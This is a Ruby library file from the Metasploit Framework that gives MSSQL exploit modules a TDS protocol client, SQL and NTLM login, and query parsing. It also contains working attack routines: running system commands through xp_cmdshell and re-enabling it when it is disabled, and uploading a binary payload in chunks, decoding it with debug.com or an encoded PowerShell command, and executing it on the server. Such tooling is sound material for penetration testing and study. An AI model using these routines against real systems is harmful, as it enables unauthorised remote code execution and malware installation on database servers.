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metasploit-framework/lib/msf/core/exploit/mssql.rb

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require 'msf/core'
require 'msf/core/exploit/mssql_commands'
require 'rex/proto/ntlm/crypt'
require 'rex/proto/ntlm/constants'
require 'rex/proto/ntlm/utils'
require 'rex/proto/ntlm/exceptions'
module Msf
###
#
# This module exposes methods for querying a remote MSSQL service
#
###
module Exploit::Remote::MSSQL
include Exploit::Remote::MSSQL_COMMANDS
include Exploit::Remote::Udp
include Exploit::Remote::Tcp
include Exploit::Remote::NTLM::Client
#
# Constants
#
NTLM_CRYPT = Rex::Proto::NTLM::Crypt
NTLM_CONST = Rex::Proto::NTLM::Constants
NTLM_UTILS = Rex::Proto::NTLM::Utils
NTLM_XCEPT = Rex::Proto::NTLM::Exceptions
# Encryption
ENCRYPT_OFF = 0x00 #Encryption is available but off.
ENCRYPT_ON = 0x01 #Encryption is available and on.
ENCRYPT_NOT_SUP = 0x02 #Encryption is not available.
ENCRYPT_REQ = 0x03 #Encryption is required.
# Paquet Type
TYPE_SQL_BATCH = 1 # (Client) SQL command
TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused)
TYPE_RPC = 3 # (Client) RPC
TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters,
# Request Completion, Error and Info Messages, Attention Acknowledgement
TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention
TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data
TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager
TYPE_TDS7_LOGIN = 16 # (Client) Login
TYPE_SSPI_MESSAGE = 17 # (Client) Login
TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7
# Status
STATUS_NORMAL = 0x00
STATUS_END_OF_MESSAGE = 0x01
STATUS_IGNORE_EVENT = 0x02
STATUS_RESETCONNECTION = 0x08 # TDS 7.1+
STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+
#
# Creates an instance of a MSSQL exploit module.
#
def initialize(info = {})
super
# Register the options that all MSSQL exploits may make use of.
register_options(
[
Opt::RHOST,
Opt::RPORT(1433),
OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']),
OptString.new('PASSWORD', [ false, 'The password for the specified username', '']),
OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentification', false]),
], Msf::Exploit::Remote::MSSQL)
register_advanced_options(
[
OptPath.new('HEX2BINARY', [ false, "The path to the hex2binary script on the disk",
File.join(Msf::Config.install_root, "data", "exploits", "mssql", "h2b")
]),
OptString.new('DOMAIN', [ true, 'The domain to use for windows authentification', 'WORKSTATION'])
], Msf::Exploit::Remote::MSSQL)
register_autofilter_ports([ 1433, 1434, 1435, 14330, 2533, 9152, 2638 ])
register_autofilter_services(%W{ ms-sql-s ms-sql2000 sybase })
end
#
# This method sends a UDP query packet to the server and
# parses out the reply packet into a hash
#
def mssql_ping(timeout=5)
data = { }
ping_sock = Rex::Socket::Udp.create(
'PeerHost' => rhost,
'PeerPort' => 1434,
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self,
})
ping_sock.put("\x02")
resp, saddr, sport = ping_sock.recvfrom(65535, timeout)
ping_sock.close
return data if not resp
return data if resp.length == 0
var = nil
return mssql_ping_parse(resp)
end
#
# Parse a 'ping' response and format as a hash
#
def mssql_ping_parse(data)
res = {}
var = nil
idx = data.index('ServerName')
return res if not idx
data[idx, data.length-idx].split(';').each do |d|
if (not var)
var = d
else
if (var.length > 0)
res[var] = d
var = nil
end
end
end
return res
end
#
# Execute a system command via xp_cmdshell
#
def mssql_xpcmdshell(cmd,doprint=false,opts={})
force_enable = false
begin
res = mssql_query("EXEC master..xp_cmdshell '#{cmd}'", false, opts)
if(res[:errors] and not res[:errors].empty?)
if(res[:errors].join =~ /xp_cmdshell/)
if(force_enable)
print_error("The xp_cmdshell procedure is not available and could not be enabled")
raise RuntimeError, "Failed to execute command"
else
print_status("The server may have xp_cmdshell disabled, trying to enable it...")
mssql_query(mssql_xpcmdshell_enable())
raise RuntimeError, "xp_cmdshell disabled"
end
end
end
mssql_print_reply(res) if doprint
return res
rescue RuntimeError => e
if(e.to_s =~ /xp_cmdshell disabled/)
force_enable = true
retry
end
raise e
end
end
#
# Upload and execute a Windows binary through MSSQL queries
#
def mssql_upload_exec(exe, debug=false)
hex = exe.unpack("H*")[0]
var_bypass = rand_text_alpha(8)
var_payload = rand_text_alpha(8)
print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
print_status("Writing the debug.com loader to the disk...")
h2b = File.read(datastore['HEX2BINARY'], File.size(datastore['HEX2BINARY']))
h2b.gsub!(/KemneE3N/, "%TEMP%\\#{var_bypass}")
h2b.split(/\n/).each do |line|
mssql_xpcmdshell("#{line}", false)
end
print_status("Converting the debug script to an executable...")
mssql_xpcmdshell("cmd.exe /c cd %TEMP% && cd %TEMP% && debug < %TEMP%\\#{var_bypass}", debug)
mssql_xpcmdshell("cmd.exe /c move %TEMP%\\#{var_bypass}.bin %TEMP%\\#{var_bypass}.exe", debug)
print_status("Uploading the payload, please be patient...")
idx = 0
cnt = 500
while(idx < hex.length - 1)
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false)
idx += cnt
end
print_status("Converting the encoded payload...")
mssql_xpcmdshell("%TEMP%\\#{var_bypass}.exe %TEMP%\\#{var_payload}", debug)
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_bypass}.exe", debug)
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)
print_status("Executing the payload...")
mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
end
#
# Upload and execute a Windows binary through MSSQL queries and Powershell
#
def powershell_upload_exec(exe, debug=false)
# hex converter
hex = exe.unpack("H*")[0]
# create random alpha 8 character names
#var_bypass = rand_text_alpha(8)
var_payload = rand_text_alpha(8)
print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
# our payload converter, grabs a hex file and converts it to binary for us through powershell
h2b = "$s = gc 'C:\\Windows\\Temp\\#{var_payload}';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('C:\\Windows\\Temp\\#{var_payload}.exe',$b)"
h2b_unicode=Rex::Text.to_unicode(h2b)
# base64 encode it, this allows us to perform execution through powershell without registry changes
h2b_encoded = Rex::Text.encode_base64(h2b_unicode)
print_status("Uploading the payload #{var_payload}, please be patient...")
idx = 0
cnt = 500
while(idx < hex.length - 1)
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false)
idx += cnt
end
print_status("Converting the payload utilizing PowerShell EncodedCommand...")
mssql_xpcmdshell("powershell -EncodedCommand #{h2b_encoded}", debug)
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)
print_status("Executing the payload...")
mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
print_status("Be sure to cleanup #{var_payload}.exe...")
end
#
# Send and receive using TDS
#
def mssql_send_recv(req, timeout=15, check_status = true)
sock.put(req)
# Read the 8 byte header to get the length and status
# Read the length to get the data
# If the status is 0, read another header and more data
done = false
resp = ""
while(not done)
head = sock.get_once(8, timeout)
if !(head and head.length == 8)
return false
end
# Is this the last buffer?
if(head[1,1] == "\x01" or not check_status )
done = true
end
# Grab this block's length
rlen = head[2,2].unpack('n')[0] - 8
while(rlen > 0)
buff = sock.get_once(rlen, timeout)
return if not buff
resp << buff
rlen -= buff.length
end
end
resp
end
#
# Encrypt a password according to the TDS protocol (encode)
#
def mssql_tds_encrypt(pass)
# Convert to unicode, swap 4 bits both ways, xor with 0xa5
Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack("C*")
end
#
#this method send a prelogin packet and check if encryption is off
#
def mssql_prelogin(enc_error=false)
pkt = ""
pkt_hdr = ""
pkt_data_token = ""
pkt_data = ""
pkt_hdr = [
TYPE_PRE_LOGIN_MESSAGE, #type
STATUS_END_OF_MESSAGE, #status
0x0000, #length
0x0000, # SPID
0x00, # PacketID
0x00 #Window
]
version = [0x55010008,0x0000].pack("Vv")
encryption = ENCRYPT_NOT_SUP # off
instoptdata = "MSSQLServer\0"
threadid = "\0\0" + Rex::Text.rand_text(2)
idx = 21 # size of pkt_data_token
pkt_data_token << [
0x00, # Token 0 type Version
idx , # VersionOffset
version.length, # VersionLength
0x01, # Token 1 type Encryption
idx = idx + version.length, # EncryptionOffset
0x01, # EncryptionLength
0x02, # Token 2 type InstOpt
idx = idx + 1, # InstOptOffset
instoptdata.length, # InstOptLength
0x03, # Token 3 type Threadid
idx + instoptdata.length, # ThreadIdOffset
0x04, # ThreadIdLength
0xFF
].pack("CnnCnnCnnCnnC")
pkt_data << pkt_data_token
pkt_data << version
pkt_data << encryption
pkt_data << instoptdata
pkt_data << threadid
pkt_hdr[2] = pkt_data.length + 8
pkt = pkt_hdr.pack("CCnnCC") + pkt_data
resp = mssql_send_recv(pkt)
idx = 0
while resp[0,1] != "\xff" and resp.length > 5
token = resp.slice!(0,5)
token = token.unpack("Cnn")
idx -= 5
if token[0] == 0x01
idx += token[1]
break
end
end
if idx > 0
encryption_mode = resp[idx,1].unpack("C")[0]
else
#force to ENCRYPT_NOT_SUP and hope for the best
encryption_mode = ENCRYPT_NOT_SUP
end
if encryption_mode != ENCRYPT_NOT_SUP and enc_error
raise RuntimeError,"Encryption is not supported"
end
encryption_mode
end
#
# This method connects to the server over TCP and attempts
# to authenticate with the supplied username and password
# The global socket is used and left connected after auth
#
def mssql_login(user='sa', pass='', db='')
disconnect if self.sock
connect
# Send a prelogin packet and check that encryption is not enabled
if mssql_prelogin() != ENCRYPT_NOT_SUP
print_error("Encryption is not supported")
return false
end
if datastore['USE_WINDOWS_AUTHENT']
idx = 0
pkt = ''
pkt_hdr = ''
pkt_hdr = [
TYPE_TDS7_LOGIN, #type
STATUS_END_OF_MESSAGE, #status
0x0000, #length
0x0000, # SPID
0x01, # PacketID (unused upon specification
# but ms network monitor stil prefer 1 to decode correctly, wireshark don't care)
0x00 #Window
]
pkt << [
0x00000000, # Size
0x71000001, # TDS Version
0x00000000, # Dummy Size
0x00000007, # Version
rand(1024+1), # PID
0x00000000, # ConnectionID
0xe0, # Option Flags 1
0x83, # Option Flags 2
0x00, # SQL Type Flags
0x00, # Reserved Flags
0x00000000, # Time Zone
0x00000000 # Collation
].pack('VVVVVVCCCCVV')
cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) #application and library name
sname = Rex::Text.to_unicode( rhost )
dname = Rex::Text.to_unicode( db )
ntlm_options = {
:signing => false,
:usentlm2_session => datastore['NTLM::UseNTLM2_session'],
:use_ntlmv2 => datastore['NTLM::UseNTLMv2'],
:send_lm => datastore['NTLM::SendLM'],
:send_ntlm => 'NTLM::SendNTLM'
}
ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options)
workstation_name = Rex::Text.rand_text_alpha(rand(8)+1)
domain_name = datastore['DOMAIN']
# use a default value for now
ntlmsspblob = NTLM_UTILS::make_ntlmssp_blob_init(domain_name, workstation_name, ntlmssp_flags)
idx = pkt.size + 50 # lengths below
pkt << [idx, cname.length / 2].pack('vv')
idx += cname.length
pkt << [0, 0].pack('vv') # User length offset must be 0
pkt << [0, 0].pack('vv') # Password length offset must be 0
pkt << [idx, aname.length / 2].pack('vv')
idx += aname.length
pkt << [idx, sname.length / 2].pack('vv')
idx += sname.length
pkt << [0, 0].pack('vv') # unused
pkt << [idx, aname.length / 2].pack('vv')
idx += aname.length
pkt << [idx, 0].pack('vv') # locales
pkt << [idx, 0].pack('vv') #db
# ClientID (should be mac address)
pkt << Rex::Text.rand_text(6)
# NTLMSSP
pkt << [idx, ntlmsspblob.length].pack('vv')
idx += ntlmsspblob.length
pkt << [idx, 0].pack('vv') # AtchDBFile
pkt << cname
pkt << aname
pkt << sname
pkt << aname
pkt << ntlmsspblob
# Total packet length
pkt[0,4] = [pkt.length].pack('V')
pkt_hdr[2] = pkt.length + 8
pkt = pkt_hdr.pack("CCnnCC") + pkt
# Rem : One have to set check_status to false here because sql server sp0 (and maybe above)
# has a strange behavior that differs from the specifications
# upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header
# is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification
resp = mssql_send_recv(pkt,15, false)
# Get default data
begin
blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(resp)
# a domain.length < 3 will hit this
rescue NTLM_XCEPT::NTLMMissingChallenge
info = {:errors => []}
mssql_parse_reply(resp, info)
mssql_print_reply(info)
return false
end
challenge_key = blob_data[:challenge_key]
server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error
#netbios name
default_name = blob_data[:default_name] || ''
#netbios domain
default_domain = blob_data[:default_domain] || ''
#dns name
dns_host_name = blob_data[:dns_host_name] || ''
#dns domain
dns_domain_name = blob_data[:dns_domain_name] || ''
#Client time
chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || ''
spnopt = {:use_spn => datastore['NTLM::SendNTLM'], :name => self.rhost}
resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(user, pass, challenge_key,
domain_name, default_name, default_domain,
dns_host_name, dns_domain_name, chall_MsvAvTimestamp,
spnopt, ntlm_options)
ntlmssp = NTLM_UTILS.make_ntlmssp_blob_auth(domain_name, workstation_name, user, resp_lm, resp_ntlm, '', ntlmssp_flags)
# Create an SSPIMessage
idx = 0
pkt = ''
pkt_hdr = ''
pkt_hdr = [
TYPE_SSPI_MESSAGE, #type
STATUS_END_OF_MESSAGE, #status
0x0000, #length
0x0000, # SPID
0x01, # PacketID
0x00 #Window
]
pkt_hdr[2] = ntlmssp.length + 8
pkt = pkt_hdr.pack("CCnnCC") + ntlmssp
resp = mssql_send_recv(pkt)
#SQL Server Authentification
else
idx = 0
pkt = ''
pkt << [
0x00000000, # Dummy size
0x71000001, # TDS Version
0x00000000, # Size
0x00000007, # Version
rand(1024+1), # PID
0x00000000, # ConnectionID
0xe0, # Option Flags 1
0x03, # Option Flags 2
0x00, # SQL Type Flags
0x00, # Reserved Flags
0x00000000, # Time Zone
0x00000000 # Collation
].pack('VVVVVVCCCCVV')
cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
uname = Rex::Text.to_unicode( user )
pname = mssql_tds_encrypt( pass )
aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
sname = Rex::Text.to_unicode( rhost )
dname = Rex::Text.to_unicode( db )
idx = pkt.size + 50 # lengths below
pkt << [idx, cname.length / 2].pack('vv')
idx += cname.length
pkt << [idx, uname.length / 2].pack('vv')
idx += uname.length
pkt << [idx, pname.length / 2].pack('vv')
idx += pname.length
pkt << [idx, aname.length / 2].pack('vv')
idx += aname.length
pkt << [idx, sname.length / 2].pack('vv')
idx += sname.length
pkt << [0, 0].pack('vv')
pkt << [idx, aname.length / 2].pack('vv')
idx += aname.length
pkt << [idx, 0].pack('vv')
pkt << [idx, dname.length / 2].pack('vv')
idx += dname.length
# The total length has to be embedded twice more here
pkt << [
0,
0,
0x12345678,
0x12345678
].pack('vVVV')
pkt << cname
pkt << uname
pkt << pname
pkt << aname
pkt << sname
pkt << aname
pkt << dname
# Total packet length
pkt[0,4] = [pkt.length].pack('V')
# Embedded packet lengths
pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2
# Packet header and total length including header
pkt = "\x10\x01" + [pkt.length + 8].pack('n') + [0].pack('n') + [1].pack('C') + "\x00" + pkt
resp = mssql_send_recv(pkt)
end
info = {:errors => []}
info = mssql_parse_reply(resp,info)
return false if not info
info[:login_ack] ? true : false
end
#
# Login to the SQL server using the standard USERNAME/PASSWORD options
#
def mssql_login_datastore(db='')
mssql_login(datastore['USERNAME'], datastore['PASSWORD'], db)
end
#
# Issue a SQL query using the TDS protocol
#
def mssql_query(sqla, doprint=false, opts={})
info = { :sql => sqla }
opts[:timeout] ||= 15
pkts = []
idx = 0
bsize = 4096 - 8
chan = 0
@cnt ||= 0
@cnt += 1
sql = Rex::Text.to_unicode(sqla)
while(idx < sql.length)
buf = sql[idx, bsize]
flg = buf.length < bsize ? "\x01" : "\x00"
pkts << "\x01" + flg + [buf.length + 8].pack('n') + [chan].pack('n') + [@cnt].pack('C') + "\x00" + buf
idx += bsize
end
resp = mssql_send_recv(pkts.join, opts[:timeout])
mssql_parse_reply(resp, info)
mssql_print_reply(info) if doprint
info
end
#
# Nicely print the results of a SQL query
#
def mssql_print_reply(info)
print_status("SQL Query: #{info[:sql]}")
if(info[:done] and info[:done][:rows].to_i > 0)
print_status("Row Count: #{info[:done][:rows]} (Status: #{info[:done][:status]} Command: #{info[:done][:cmd]})")
end
if(info[:errors] and not info[:errors].empty?)
info[:errors].each do |err|
print_error(err)
end
end
if(info[:rows] and not info[:rows].empty?)
tbl = Rex::Ui::Text::Table.new(
'Indent' => 1,
'Header' => "",
'Columns' => info[:colnames]
)
info[:rows].each do |row|
tbl << row
end
print_line(tbl.to_s)
end
end
#
# Parse a raw TDS reply from the server
#
def mssql_parse_tds_reply(data, info)
info[:errors] ||= []
info[:colinfos] ||= []
info[:colnames] ||= []
# Parse out the columns
cols = data.slice!(0,2).unpack('v')[0]
0.upto(cols-1) do |col_idx|
col = {}
info[:colinfos][col_idx] = col
col[:utype] = data.slice!(0,2).unpack('v')[0]
col[:flags] = data.slice!(0,2).unpack('v')[0]
col[:type] = data.slice!(0,1).unpack('C')[0]
case col[:type]
when 48
col[:id] = :tinyint
when 52
col[:id] = :smallint
when 56
col[:id] = :rawint
when 61
col[:id] = :datetime
when 34
col[:id] = :image
col[:max_size] = data.slice!(0,4).unpack('V')[0]
col[:value_length] = data.slice!(0,2).unpack('v')[0]
col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '')
when 36
col[:id] = :string
when 38
col[:id] = :int
col[:int_size] = data.slice!(0,1).unpack('C')[0]
when 127
col[:id] = :bigint
when 165
col[:id] = :hex
col[:max_size] = data.slice!(0,2).unpack('v')[0]
when 173
col[:id] = :hex # binary(2)
col[:max_size] = data.slice!(0,2).unpack('v')[0]
when 231,175,167,239
col[:id] = :string
col[:max_size] = data.slice!(0,2).unpack('v')[0]
col[:codepage] = data.slice!(0,2).unpack('v')[0]
col[:cflags] = data.slice!(0,2).unpack('v')[0]
col[:charset_id] = data.slice!(0,1).unpack('C')[0]
else
col[:id] = :unknown
end
col[:msg_len] = data.slice!(0,1).unpack('C')[0]
if(col[:msg_len] and col[:msg_len] > 0)
col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '')
end
info[:colnames] << (col[:name] || 'NULL')
end
end
#
# Parse individual tokens from a TDS reply
#
def mssql_parse_reply(data, info)
info[:errors] = []
return if not data
until data.empty?
token = data.slice!(0,1).unpack('C')[0]
case token
when 0x81
mssql_parse_tds_reply(data, info)
when 0xd1
mssql_parse_tds_row(data, info)
when 0xe3
mssql_parse_env(data, info)
when 0x79
mssql_parse_ret(data, info)
when 0xfd, 0xfe, 0xff
mssql_parse_done(data, info)
when 0xad
mssql_parse_login_ack(data, info)
when 0xab
mssql_parse_info(data, info)
when 0xaa
mssql_parse_error(data, info)
when nil
break
else
info[:errors] << "unsupported token: #{token}"
end
end
info
end
#
# Parse a single row of a TDS reply
#
def mssql_parse_tds_row(data, info)
info[:rows] ||= []
row = []
info[:colinfos].each do |col|
if(data.length == 0)
row << "<EMPTY>"
next
end
case col[:id]
when :hex
str = ""
len = data.slice!(0,2).unpack('v')[0]
if(len > 0 and len < 65535)
str << data.slice!(0,len)
end
row << str.unpack("H*")[0]
when :string
str = ""
len = data.slice!(0,2).unpack('v')[0]
if(len > 0 and len < 65535)
str << data.slice!(0,len)
end
row << str.gsub("\x00", '')
when :datetime
row << data.slice!(0,8).unpack("H*")[0]
when :rawint
row << data.slice!(0,4).unpack('V')[0]
when :bigint
row << data.slice!(0,8).unpack("H*")[0]
when :smallint
row << data.slice!(0, 2).unpack("v")[0]
when :smallint3
row << [data.slice!(0, 3)].pack("Z4").unpack("V")[0]
when :tinyint
row << data.slice!(0, 1).unpack("C")[0]
when :image
str = ''
len = data.slice!(0,1).unpack('C')[0]
str = data.slice!(0,len) if (len and len > 0)
row << str.unpack("H*")[0]
when :int
len = data.slice!(0, 1).unpack("C")[0]
raw = data.slice!(0, len) if (len and len > 0)
case len
when 0,255
row << ''
when 1
row << raw.unpack("C")[0]
when 2
row << raw.unpack('v')[0]
when 4
row << raw.unpack('V')[0]
when 5
row << raw.unpack('V')[0] # XXX: missing high byte
when 8
row << raw.unpack('VV')[0] # XXX: missing high dword
else
info[:errors] << "invalid integer size: #{len} #{data[0,16].unpack("H*")[0]}"
end
else
info[:errors] << "unknown column type: #{col.inspect}"
end
end
info[:rows] << row
info
end
#
# Parse a "ret" TDS token
#
def mssql_parse_ret(data, info)
ret = data.slice!(0,4).unpack('N')[0]
info[:ret] = ret
info
end
#
# Parse a "done" TDS token
#
def mssql_parse_done(data, info)
status,cmd,rows = data.slice!(0,8).unpack('vvV')
info[:done] = { :status => status, :cmd => cmd, :rows => rows }
info
end
#
# Parse an "error" TDS token
#
def mssql_parse_error(data, info)
len = data.slice!(0,2).unpack('v')[0]
buff = data.slice!(0,len)
errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv')
emsg = buff.slice!(0,elen * 2)
emsg.gsub!("\x00", '')
info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
info
end
#
# Parse an "environment change" TDS token
#
def mssql_parse_env(data, info)
len = data.slice!(0,2).unpack('v')[0]
buff = data.slice!(0,len)
type = buff.slice!(0,1).unpack('C')[0]
nval = ''
nlen = buff.slice!(0,1).unpack('C')[0] || 0
nval = buff.slice!(0,nlen*2).gsub("\x00", '') if nlen > 0
oval = ''
olen = buff.slice!(0,1).unpack('C')[0] || 0
oval = buff.slice!(0,olen*2).gsub("\x00", '') if olen > 0
info[:envs] ||= []
info[:envs] << { :type => type, :old => oval, :new => nval }
info
end
#
# Parse an "information" TDS token
#
def mssql_parse_info(data, info)
len = data.slice!(0,2).unpack('v')[0]
buff = data.slice!(0,len)
errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv')
emsg = buff.slice!(0,elen * 2)
emsg.gsub!("\x00", '')
info[:infos]||= []
info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
info
end
#
# Parse a "login ack" TDS token
#
def mssql_parse_login_ack(data, info)
len = data.slice!(0,2).unpack('v')[0]
buff = data.slice!(0,len)
info[:login_ack] = true
end
end
end
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